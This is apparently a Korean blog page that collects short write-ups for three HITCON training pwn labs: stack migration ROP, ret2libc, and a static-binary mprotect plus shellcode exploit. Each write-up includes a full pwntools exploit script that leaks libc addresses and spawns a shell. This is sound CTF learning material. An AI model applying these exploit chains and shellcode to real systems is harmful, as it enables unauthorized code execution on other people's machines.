hint : fake ebp를 이용해 스택 영역을 이동시킨 후 rop.


1. fakestack으로 사용할 위치를 찾는다. 

--> rop를 하기엔 read할 수 있는 크기가 작기 때문에 stack migration을 할 곳을 찾아야 한다. 따라서 bss영역 같은 곳을 찾는다. 하지만 이 문제에선 bss영역이 8바이트밖에 되지 않으므로 dynamic 영역 +0x600과 + 0x700을 fakestack1, 2 로 선택했다.

2. 이제 rop를 해야하는데 sfp에 fakestack1(dynamic+0x600)을 넣고 ret에는 read@plt를 넣어서 read()함수를 실행시키도록 한다.그리고 fakeebp를 하기 위해 leave-ret가젯을 rop할 때 스택을 정리하는 부분에 넣어주어 puts@got를 릭해서 libc를 구하고 다시 read를 호출해서 fakestack2에 쉘 함수를 read시킨 후 leave-ret으로 fakestack2의 내용을 호출하도록 하면 클리어가 된다.


from pwn import *

r = process("./migration")
elf = ELF("./migration")

leave_ret = 0x08048504
read_plt = elf.plt["read"]
read_got = elf.got["read"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
bss = elf.bss()
system_offset = 0x24f00
binsh_offset = 0xfbd6b
pr = 0x804836d
pppr = 0x8048569
ret = 0x080484e5
ds_section = elf.get_section_by_name(".dynamic").header.sh_addr
fakestack1 = ds_section + 0x600
fakestack2 = ds_section + 0x700

log.info("read_plt = {}".format(hex(read_plt)))
log.info("read_got = {}".format(hex(read_got)))
log.info("puts_plt = {}".format(hex(puts_plt)))
log.info("puts_got = {}".format(hex(puts_got)))
log.info("fakestack1 = {}".format(hex(fakestack1)))
log.info("fakestack2 = {}".format(hex(fakestack2)))
r.recv()
#pause()

#step 1
payload = "A"*40
payload += p32(fakestack1)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0)
payload += p32(fakestack1)
payload += p32(0x100)

r.send(payload)
#pause()

#step 2
payload = p32(fakestack2)
payload += p32(puts_plt)
payload += p32(pr)
payload += p32(puts_got)

payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0)
payload += p32(fakestack2)
payload += p32(0x100)
r.sendline(payload)
#pause()

libc_puts = u32(r.recv(4))
log.info("libc_puts = {}".format(hex(libc_puts)))
libc_system = libc_puts - system_offset
log.info("libc_system = {}".format(hex(libc_system)))
binsh = binsh_offset + libc_puts
log.info("/bin/sh = {}".format(hex(binsh)))

payload = "C"*4
payload += p32(libc_system)
payload += "D"*4
payload += p32(binsh)
r.send(payload)

r.interactive()


'Wargame > Hitcon training' 카테고리의 다른 글

HITCON training lab11 (house of force)  (0) 2018.10.29
HITCON training lab10  (0) 2018.10.25
HITCON training lab4  (0) 2018.10.18
HITCON training lab5  (0) 2018.10.16
HITCON training lab12 (fastbin dup)  (0) 2018.10.08

Return to Library

libc를 릭할 수 있도록 되어있어서 libc릭 해서 system과 /bin/sh의 오프셋으로 RTL하면 됨.


from pwn import *

r = process("./ret2lib")
elf = ELF("./ret2lib")

system_offset = 0x24f00 # puts - system
cmd = "/bin/sh\x00"

print r.recv()
r.sendline("134520860") # puts@got leak
pause()
r.recvuntil("address : ")
libc_puts = r.recvuntil("\x0a").replace("\x0a", "")
libc_puts = int(libc_puts, 16)
log.info("libc_puts = {}".format(hex(libc_puts)))
libc_system = libc_puts - system_offset
log.info("libc_system = {}".format(hex(libc_system)))
binsh = libc_puts + 0xfbd6b
log.info("/bin/sh = {}".format(hex(binsh)))

payload = "A"*60

payload += p32(libc_system)
payload += "DDDD"
payload += p32(binsh)

r.sendline(payload)
r.interactive()


'Wargame > Hitcon training' 카테고리의 다른 글

HITCON training lab11 (house of force)  (0) 2018.10.29
HITCON training lab10  (0) 2018.10.25
HITCON training lab6  (0) 2018.10.22
HITCON training lab5  (0) 2018.10.16
HITCON training lab12 (fastbin dup)  (0) 2018.10.08

static 컴파일된 바이너리로 libc를 릭하지 않아도 풀 수 있었다.

하지만 binsh이 바이너리에 없어서 srop를 해 푸려고 했는데 잘 안돼서 mprotect로 bss영역의 권한을 7로 변경한 후 bss에 넣어둔 쉘코드를 실행하는 방법으로 익스했다.



from pwn import *

r = process("./simplerop")
elf = ELF("./simplerop")

bss = elf.bss()
read = elf.symbols['read']
write = elf.symbols['write']
mprotect = elf.symbols['mprotect']
ppr = 0x804838d
pppr = 0x804838c
syscall = 0x0806eef0
cmd = "/bin/sh\x00"
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

log.info("bss : {}".format(hex(bss)))
log.info("read : {}".format(hex(read)))
log.info("mprotect : {}".format(hex(mprotect)))

payload = "A"*32

payload += p32(read)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(len(shellcode))

payload += p32(mprotect)
payload += p32(pppr)
payload += p32(0x080ea000)
payload += p32(0x10000)
payload += p32(7)

payload += p32(bss)
r.sendline(payload)
print r.recv()
r.sendline(shellcode)
r.interactive()

'Wargame > Hitcon training' 카테고리의 다른 글

HITCON training lab11 (house of force)  (0) 2018.10.29
HITCON training lab10  (0) 2018.10.25
HITCON training lab6  (0) 2018.10.22
HITCON training lab4  (0) 2018.10.18
HITCON training lab12 (fastbin dup)  (0) 2018.10.08

+ Recent posts